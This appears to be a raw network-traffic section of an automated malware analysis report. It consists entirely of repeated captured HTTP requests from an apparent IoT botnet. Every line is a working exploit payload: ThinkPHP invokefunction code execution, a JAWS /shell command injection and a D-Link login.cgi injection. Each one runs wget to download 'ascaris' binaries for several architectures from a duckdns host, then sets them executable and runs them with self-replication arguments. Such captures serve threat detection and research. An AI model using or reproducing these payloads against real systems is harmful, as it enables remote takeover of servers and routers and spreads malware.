Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
